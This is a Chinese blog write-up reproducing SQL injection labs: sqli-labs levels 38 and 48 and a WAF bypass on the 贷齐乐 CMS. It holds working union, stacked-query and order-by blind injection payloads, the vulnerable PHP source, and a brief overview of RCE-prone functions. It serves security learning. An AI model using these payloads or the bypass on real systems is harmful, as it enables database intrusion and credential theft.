Sql与Rce注入相关漏洞复现

news2024/11/25 10:38:03

目录

sqli-labs注入第38,48关

第38关(单引号闭合)

​编辑 第48关 (GET请求-基于错误-盲注-数字型-order by 排序

​编辑

贷齐乐系统多处Sql注入漏洞 

环境搭建

将贷齐乐源码放入phpstudy中的www目录下

在phpstudy上创建网站:

在本地数据库中创建数据库--ctf,并创建users表,往表中插入数据:: 

源码

waf1:

waf2:

注入思路:

Rce漏洞

可能产生rce漏洞的函数


sqli-labs注入第38,48关

第38关(单引号闭合)

使用单引号闭合进行注入,也可以使用堆叠注入,这里存在mysqli_multi_query函数,支持多条Sql语句同时进行。

mysqli_multi_query()函数允许在单个函数调用中发送多个SQL查询到MySQL数据库。‌这些查询可以是SELECT、‌INSERT、‌UPDATE或DELETE等,‌它们将在数据库中按顺序处理,‌尽管它们是在单个函数调用中发送的。‌函数的工作方式是异步的,‌意味着它不会等待每个查询完成就立即返回,‌而是继续执行后续的PHP代码。‌然而,‌需要注意的是,‌虽然查询是异步发送的,‌但数据库会按照顺序处理它们。‌也就是说,‌第一个查询完成后,‌才会开始处理第二个查询,‌依此类推。‌

使用mysqli_multi_query()函数时,‌需要使用do-while循环来处理多个查询的结果。‌在每个查询完成后,‌可以使用mysqli_next_result()函数来获取下一个查询的结果。‌这种方式允许在单个数据库连接上并发地执行多个查询,‌提高了处理大量数据时的效率。‌

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
向数据表插入自己的账户密码

?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+
查询字段

?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+
查询密码账户
 

 第48关 (GET请求-基于错误-盲注-数字型-order by 排序

Order By 后的注入原理:

order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数

输入:?sort=1

输入?sort=rand(),页面发生变化,那么说明这关是数字型 

尝试报错注入?sort=extractvalue(1,concat(0x7e,database(),0x7e))--+没成功

当条件为假时,页面显示,所以输入?sort=rand(0)--+

其次条件为真时,页面显示,输入?sort=rand(1)--+

输入?sort=rand(length(database())>5)--+,判断数据库长度,从结果来看,条件为真,所以数据库长度>5,以此类推 

输入?sort=rand(mid(database(),1,1)>'m')--+判断数据库第一个字母范围,从结果来看,条件为真,所以数据库第一个字母范围在(m,z]间

 输入?sort=rand((select count(table_name)from information_schema.tables where table_schema=database())>5)--+判断数据表张数

 

输入?sort=rand(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5)--+判断第一张数据表长度, 

输入?sort=rand(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m')--+判断第一张数据表的第一个字母范围,从结果看,在[a,m]间

贷齐乐系统多处Sql注入漏洞 

贷齐乐系统是安全问题比较严重的P2P金融类的CMS。由于连续出了多次安全漏洞,所以官方给贷齐乐系统中添加了严重影响正常使用的变态WAF。

环境搭建

将贷齐乐源码放入phpstudy中的www目录下

在phpstudy上创建网站:

 注意db.inc.php中数据库信息要与本地数据库一致

在本地数据库中创建数据库--ctf,并创建users表,往表中插入数据:: 
CREATE DATABASE ctf
 
use ctf
CREATE TABLE `users` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) DEFAULT NULL,
  `pass` varchar(255) DEFAULT NULL,
  `flag` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8
mysql> INSERT INTO `users` (`name`, `pass`, `flag`) VALUES ('admin', 'admin', 'hrctf{R3qeeeee_Is_1nterEst1ng}');

 这里因为数据库早已建好,所以直接选择:use ctf

查看users表:
 

源码

<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
// 定义函数 dhtmlspecialchars,用于过滤 HTML 特殊字符
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
         // 如果 $string 是数组,递归调用 dhtmlspecialchars 函数处理数组元素
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
        // 如果 $string 不是数组,替换 HTML 特殊字符为对应的转义序列
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  // 定义函数 dowith_sql,用于检查 SQL 注入攻击
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
  // 经过第一个waf处理
  //i_d=1&i.d=aaaaa&submit=1
  
  foreach ($_REQUEST as $key => $value) {
    // 遍历 $_REQUEST 数组,对用户输入的数据进行 SQL 注入检查和 HTML 特殊字符过滤
      $_REQUEST[$key] = dowith_sql($value);
  }
  // 经过第二个WAF处理
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  //i_d=1&i.d=aaaaa&submit=1
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
//   $_REQUEST不能有恶意字符
// $_SERVER
  // 业务处理
  //?i_d&i.d=aaaaaaa
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysql_query($sql);
      while($row = mysql_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['name'] . "</td>";
          echo "</tr>";
      }
  }
?>
waf1:
 foreach ($_REQUEST as $key => $value) {
    // 遍历 $_REQUEST 数组,对用户输入的数据进行 SQL 注入检查和 HTML 特殊字符过滤
      $_REQUEST[$key] = dowith_sql($value);
  }

调用dowith_sql函数,过滤了select、union等关键字。 

waf2:
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
  //i_d=1&i.d=aaaaa&submit=1
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }

  过滤了括号等一些恶意字符。

explode函数在PHP中的作用是将一个字符串按照指定的分隔符拆分成一个数组。‌这个函数是PHP中的一个字符串处理函数,‌它提供了灵活的字符串分割功能。‌explode函数的原型为

array explode ( string $delimiter , string $string [, int $limit = PHP_INT_MAX] ),‌

其中$delimiter参数指定了分隔符,‌$string参数是要被分割的字符串,‌而$limit参数是可选的,‌用于限制分割后的数组元素数量。‌explode函数的功能包括但不限于:‌

分割字符串:‌将输入的字符串按照指定的分隔符进行分割,‌并将结果作为一个数组返回。‌

限制分割次数:‌通过设置$limit参数,‌可以控制分割的次数,‌从而限制最终数组中的元素数量。‌

支持多个分隔符:‌可以接受多个分隔符作为参数,‌实现对多种字符的同时分割。‌

去除分隔符:‌通过将$string参数设置为null,‌可以在分割过程中去除分隔符。‌

注入思路:

如果有一种方法让第一道WAF检测不到恶意字符再通过第二道WAF的覆盖,从而将恶意字符传入到$REQUEST中,就可以绕过WAF,完成注入。要让第一道WAF找不到恶意字符,那么我们就得再$REQUET中不得有恶意字符。其二便是$_SERVER可以有恶意字符,但是必须过我们的第二道WAF,然后再REQUEST接收。

php特性: 

当我们输入两个相同名字的参数的时候,php是取后一个的。----php全局污染

自身在解析请求的时候如果参数名字中包含” “、”.”、”[“这几个字符会将他们转换成下划线。

绕过方法:

假设我发送的是这样一个请求:i_d=1&i.d=2 ,php先将i.d转换成i_d,即为i_d=1&i_d=2 ,再获取到的$_REQUEST['i_d']就是2。

可在$_SERVER['REQUEST_URI']中,i_d和i.d却是两个完全不同的参数名,那么切割覆盖后,获取的$_REQUEST['i_d']却是1。

1、hpp php 只接收同名参数的最后一个。

2、php中会将get传参中的key中的.转为_

3、$_REQUEST 遵循php接收方式,i_d&i.d中的最后一个参数的转换为下划线然后接收,所以我们的正常代码放在第二个参数,waf失效。

联合注入:
找到注入点:空格被过滤所所以用/**/代替空格

Rce漏洞

命令执行漏洞:

        直接调用操作系统命令。例如,当Web应用在调用一些能将字符串转化成代码的函数时,如果未对用户输入进行合适的处理,可能造成命令执行漏洞。
代码执行漏洞:

        靠执行脚本代码调用操作系统命令。例如,PHP中的system()、exec()和passthru()函数,如果未对用户输入进行过滤或过滤不严,可能导致代码执行漏洞。
系统的漏洞造成命令注入:

        例如bash破壳漏洞(CVE-2014-6271)是一个远程命令执行(RCE)漏洞。这个漏洞存在于Bash shell中,使得攻击者可以通过构造特定的环境变量值来执行任意命令,从而获取系统的控制权。
调用的第三方组件存在代码执行漏洞:

        例如WordPress中用来处理图片的ImageMagick组件,以及JAVA中的命令执行漏洞(如struts2、ElasticsearchGroovy等)。

可能产生rce漏洞的函数

 PHP的system()和exec()函数:这些函数用于执行外部命令,如果未对用户输入进行适当的过滤或验证,攻击者可能利用这些函数执行任意命令。
PHP的eval()函数:该函数用于执行字符串作为PHP代码,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。
PHP的create_function()函数:该函数用于动态创建函数,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2045649.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DevEcoStudio对Gitee进行变基与合并

当尝试将本地分支的更改推送到远程仓库&#xff0c;但是远程仓库中的该分支已经有了您本地分支中没有的提交时&#xff0c;会出现这个提示。 具体来说&#xff0c;这个提示意味着&#xff1a; 推送被拒绝&#xff1a;不能直接将更改推送到远程仓库&#xff0c;因为远程仓库中…

WeNet模型学习笔记

WeNet是一个端到端语音识别模型&#xff0c;由于其优越的特性&#xff0c;成为近几年语音识别领域的热门模型。WeNet模型是一种CTC和attention结构的混合体&#xff0c;以Conformer或Transformer作为encoder&#xff0c;并使用attention decoder对CTC的输出进行重新打分(rescor…

微信小程序用 pinia数据化存储信息

import { defineStore } from pinia import { ref } from vue import type {LoginResult} from /types/member //定义 Store export const useMemberStore defineStore( member, () > { // 会员信息 const profile ref<LoginResult>() //保存会员信息&#xff0c…

MySQL数据库:详细安装与配置指南

目录 背景: 一.下载过程(MySQL数据库): 二.安装过程(MySQL数据库)&#xff1a; 三.验证MySQL是否安装成功 背景: MySQL 是一个流行的开源关系数据库管理(RDBMS)&#xff0c;由瑞典MySQL AB公司开发&#xff0c;后俩该公司被Sun Microsystems收购&#xff0c;Sun Microsyste…

el-table的多选功能

html&#xff1a; <el-table :data"list" row-key"id" selection-change"handleSelectionChange"><el-table-column type"selection" width"55"/> </el-table> js变量&#xff1a; data () {return {/…

日期类代码实现-C++

一、目标 通过前面对类和对象的介绍我们可以自己通过C代码初步实现一个简单的日期类。 实现的主要操作有&#xff1a; 1.日期类的构造函数 2.日期类的拷贝构造函数&#xff08;在头文件中实现&#xff09; 3.日期类的比较运算符重载 4.日期类的计算运算符重载 5.流插入运…

Python 爬数据案例 客户端服务端http请求 推荐 【进阶篇 2 】

网络爬虫数据原来这么简单&#xff01;&#xff01;&#xff01; 前面已经总结了关于python的面向对象继承多态的知识&#xff0c;这里主要是模块、读写文件、http请求网络数据以及如何获取网络数据知识。 网络爬虫是典型的应用程序&#xff0c;它的工作原理就是通过不断的请…

VBA语言専攻T3学员领取资料通知0817

T3学员领取资料通知0817 各位学员∶本周MF系列VBA技术资料增加681-690讲&#xff0c;T3学员看到通知后请免费领取,领取时间8月16日晚上19:00-8月17日中午12:00。本次增加内容&#xff1a; MF691:按所选范围对行进行分组显示 MF692:查找所给范围内的重复项 MF693:文本框Text…

python非交互连接mysql+mycat读写分离实现

python非交互连接mysql >>>import pymysql >>>connpymysql.connect(host"192.168.118.57",port3306,database"test",user"root",password"root") >>> cursorconn.cursor() >>> cursor.execut…

基于springboot的智能家居系统

TOC springboot198基于springboot的智能家居系统 研究背景与现状 时代的进步使人们的生活实现了部分自动化&#xff0c;由最初的全手动办公已转向手动自动相结合的方式。比如各种办公系统、智能电子电器的出现&#xff0c;都为人们生活的享受提供帮助。采用新型的自动化方式…

day22 Java基础——方法(干货)

day22 Java基础——方法 在Java中&#xff0c;方法是一段组织好的、可重复使用的代码块&#xff0c;用于执行一个特定的操作。方法提供了一种封装代码的方式&#xff0c;使得代码模块化&#xff0c;便于管理和重用。以下是关于Java中方法的一些基本介绍&#xff1a; 文章目录…

对话图像编辑研究综述

MGIE&#xff1a;MLLM 引导图像编辑&#xff08;ICLR 2024&#xff09; https://mllm-ie.github.io/ 利用 MLLM 来增强基于指令的图像编辑 (“what will this image be like if [instruction]” &#xff0c;来重写)。 训练好后&#xff0c;大视觉语言模型直接推导出简洁明确…

FreeRTOS队列(下)

文章目录 一、使用队列实现多设备输入1、增加旋转编码器2、使用队列集执行任务3、增加姿态控制&#xff08;使用MPU6050控制挡球板&#xff09; 二、队列实验_分发数据给多个任务(赛车游戏)三、传输大块数据四、示例&#xff1a;邮箱&#xff08;Mailbox&#xff09;五、队列集…

远程桌面你的凭据不工作解决方法

如果遇到“你的凭据不工作”的提示&#xff0c;请首先确认您输入的凭据是否正确。如果确认无误但仍然出现Windows远程桌面凭据不工作的提示&#xff0c;这可能是由于Windows安全设置的问题所导致的。要解决远程桌面连接提示你的凭据不工作这一问题&#xff0c;您可以尝试以下解…

qemu的VNC协议(RFB协议)

1、握手 1.1、服务器收到客户端TCP连接上后&#xff0c;服务器发送RFB的版本&#xff1a; 52 46 42 20 30 30 33 2e 30 30 38 0a RFB 003.008\n 1.2、客户端收到后回复&#xff1a; 52 46 42 20 30 30 33 2e 30 30 38 0a RFB 003.008\n 2、安全认证 2.1、服务器发送支…

MySQL数据库之part2

一、索引原理与慢查询优化 一&#xff09;介绍 1、为何需要有索引 一般的应用系统&#xff0c;读写比例是10:1左右&#xff0c;而且插入操作和一般的更新操作很少出现性能问题。在生产环境中&#xff0c;我们遇到最多的、也是最容易出问题的还是一些负责的查询操作。因此查询语…

密码学基础---椭圆曲线一文打尽

1.ECC简介及密钥生成 当前公认安全有效的三大类公钥密钥体制分别为基于大数因子分解难题(RSA)、离散对数难题(DSA)和椭圆曲线离散对数&#xff08;ECC&#xff09;难题的密码体制。 最初RSA由于其容易理解被广泛运用&#xff0c;但随着计算机性能的提升&#xff0c;要保证RS…

JavaScript学习笔记(十三):网络请求JS AJAX

1、AJAX - XMLHttpRequest 对象 1.1 XMLHttpRequest 对象是 AJAX 的基石。 创建 XMLHttpRequest 对象定义回调函数打开 XMLHttpRequest 对象向服务器发送请求 1.2 XMLHttpRequest 对象 所有现代浏览器都支持 XMLHttpRequest 对象。 XMLHttpRequest 对象可用于在后台与 Web…

【mysql】MySQL的数据库简单搭建

文章目录 前言基础知识数据库数据表数据表结构记录&#xff08;数据&#xff09; 数据类型数值类型字符串类型日期类型二进制类型其他数据类型 约束where子句其他条件 order by 语句 &#xff08;排序&#xff09;group by语句&#xff08;分组&#xff09; 数据库操作新建数据…

漏洞挖掘 | EDU拿敏感信息的骚思路

1. 寻找资产 在进行edu漏洞挖掘的时候&#xff0c;我们常常遇到统一认证平台&#xff0c;账号是学号&#xff0c;密码是身份证后6位&#xff08;甚至是更复杂的密码&#xff09;&#xff0c;同时找到这两者的几率很小&#xff0c;所以我们把关注点放在微信小程序中&#xff0c…